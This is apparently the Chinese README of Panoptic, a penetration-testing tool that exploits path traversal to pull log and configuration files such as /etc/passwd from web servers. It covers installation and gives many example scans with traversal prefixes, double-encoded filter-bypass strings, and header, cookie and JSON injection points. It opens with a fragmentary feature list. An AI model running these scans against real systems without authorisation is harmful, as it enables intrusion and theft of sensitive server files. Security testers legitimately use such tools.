
Panoptic 是一款开源渗透测试工具,可通过路径遍历漏洞自动搜索和获取常见的日志文件与配置文件。

--concurrency)--header 或 --data 值中
放置 FUZZ--base64)/etc/passwd 以获取主目录
文件,解析 mysql-bin.index 以获取 binlog 文件--output-format)--resume-file)--config)0600 权限,
并在操作系统支持时提供最终组件符号链接保护--update)使用 pipx 安装 Panoptic。它会将 panoptic
命令放入你的 PATH,并使 Panoptic 的依赖与系统
Python 相互隔离。
在 Kali、Debian 或 Ubuntu 上:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
在 macOS 上,使用 Homebrew:
brew install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
在 Windows 上,需先安装 Python 和 Git:
py -m pip install --user pipx
py -m pipx ensurepath
py -m pipx install git+https://github.com/lightos/Panoptic.git
然后打开一个新终端并检查其是否正常工作:
panoptic --version
使用 pipx upgrade panoptic 进行更新。不要运行 pip install panoptic:该 PyPI 名称属于一个无关的项目。
如果你的系统 Python 版本低于 3.11(例如在 Ubuntu 22.04 上),请改用 uv。它会自行下载合适的 Python 版本:
curl -LsSf https://astral.sh/uv/install.sh | sh
source "$HOME/.local/bin/env"
uv tool install git+https://github.com/lightos/Panoptic.git
然后打开一个新终端并运行 panoptic --version。使用
uv tool upgrade panoptic 进行更新。
要从克隆的仓库运行 Panoptic(例如为了对其进行开发),请将其安装到
检出目录内的虚拟环境中。在 Debian 和 Ubuntu 上,这需要先执行
sudo apt install python3-venv。
git clone https://github.com/lightos/Panoptic.git
cd Panoptic
python3 -m venv .venv
.venv/bin/python -m pip install -e ".[dev]"
.venv/bin/panoptic --version
以 .venv/bin/panoptic 运行它,或在每个新终端中运行 source .venv/bin/activate,以便直接使用 panoptic 和 python panoptic.py。在 Windows 上,请改用 .venv\Scripts\python 和 .venv\Scripts\panoptic。可编辑安装使 Panoptic 与检出目录保持连接,因此 panoptic --update 可以就地更新它。
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt&id=1" \
--param file
panoptic --url "http://target/include.php" \
--data "file=test.txt&id=1" --param file
文件路径会替换 URL 路径的最后一段。诸如 ../ 之类的遍历序列会按原样发送。Panoptic 不会将其规范化去除,尽管目标服务器可能会这样做。
panoptic --url "http://target/view.php/test.txt" --path-based
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "../" --multiplier 6
panoptic --url "http://target/load.php?file=dGVzdC50eHQ=" \
--base64 --auto
panoptic --url "http://target/page.php" \
--header "Cookie: lang=FUZZ" --auto
panoptic --url "http://target/api/load" \
--data '{"file":"FUZZ"}' --auto
panoptic --url "http://target/page.php" \
--header "X-Template: FUZZ" --auto
panoptic --url "http://target/view.php?file=test&type=txt" \
--param file --ext-param type
panoptic --url "http://target/filtered.php?file=test.txt" \
--prefix "....//....//....//....//"
前缀按原样发送,因此编码后的遍历序列会原封不动地到达目标。例如,在 ..%252f 中,点是字面量,只有斜杠被双重编码:第一次解码将 %252f 变为 %2f,因此只解码一次的过滤器看不到 ../,而应用程序的第二次解码会将其变为 /:
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "..%252f" --multiplier 6
像 %2e%2e%2f 这样的单次编码前缀在解码一次后会变成 ../。它只对检查原始未解码请求的过滤器有效:
panoptic --url "http://target/include.php?file=test.txt" \
--prefix "%2e%2e%2f" --multiplier 6
panoptic --url "http://target/include.php?file=test.txt" \
--os "*NIX" --type conf
panoptic --url "http://target/include.php?file=test.txt" \
--software PostgreSQL
panoptic --url "http://target/include.php?file=test.txt" \
--output-format json --output-file results.json \
--resume-file scan.checkpoint
panoptic --url "http://target/include.php?file=test.txt" \
--write-files --output-dir loot
每个找到的文件都会保存在 --output-dir 下(默认为 ./output),并尽可能剥离外围页面模板。文件名会经过清理,并保留在输出目录内。
panoptic --url "https://target/include.php?file=test.txt" \
--proxy "socks5://127.0.0.1:9050" --invalid-ssl
panoptic --list software
panoptic --list category
panoptic --list os
panoptic --url "http://target/include.php?file=test.txt" \
--auto --all-versions --concurrency 8
在 --header 或 --data 值中的任意位置放置 FUZZ 以标记注入点。扫描期间,Panoptic 会将 FUZZ 替换为每个文件路径。这样便可测试 --param 无法触及的注入点:
| 注入类型 | 示例 |
|---|---|
| Cookie 值 | --header "Cookie: theme=FUZZ" |
| 自定义请求头 | --header "X-Include: FUZZ" |
| JSON 请求体 | --data '{"template":"FUZZ"}' |
| 嵌套值 | --header "Cookie: sid=abc; lang=FUZZ" |
当存在 FUZZ 时,无需使用 --param。
Panoptic 支持使用 TOML 配置文件来保存持久化设置:
panoptic --url "http://target/include.php?file=test.txt" \
--config ~/.config/panoptic/config.toml
默认配置文件位置:~/.config/panoptic/config.toml(存在时会自动加载,即使未指定 --config)。
[defaults]
# Any long option name (with dashes as underscores) is accepted here,
# including the target and output destinations.
url = "http://target/include.php?file=test.txt"
concurrency = 8
verbose = true
automatic = true
all_versions = true
output_format = "json"
output_file = "results.json"
log_file = "scan.log"
resume_file = "scan.checkpoint"
[proxy]
url = "socks5://127.0.0.1:9050"
[headers]
user_agent = "Mozilla/5.0"
cookie = "sid=foobar; auth=1"
values = ["X-Forwarded-For: 127.0.0.1"]
优先级:CLI 参数 > 配置文件 > 内置默认值。
[defaults] 表接受任意扫描选项,而不仅仅是性能调优。具体来说,你可以持久化设置:
url — 默认目标(每次运行时用 --url 覆盖)output_format、output_file — 机器可读结果的输出位置log_file — 将控制台输出镜像到文件resume_file — 可恢复扫描的检查点位置Panoptic 写入的敏感产物——日志文件、结果/列表输出文件,以及任何通过 --write-files 保存的文件——在 POSIX 上被强制设置为仅所有者可访问的 0600 权限。暴露 O_NOFOLLOW 的平台还会在最终路径组件处原子性地拒绝已存在的符号链接。在没有 O_NOFOLLOW 的平台上,Panoptic 会执行尽力而为的预打开符号链接/联接检查,但该检查无法消除竞态条件。Windows 模式位不会配置 NTFS ACL,因此当产物可能包含敏感数据时,请使用适当受限的目录。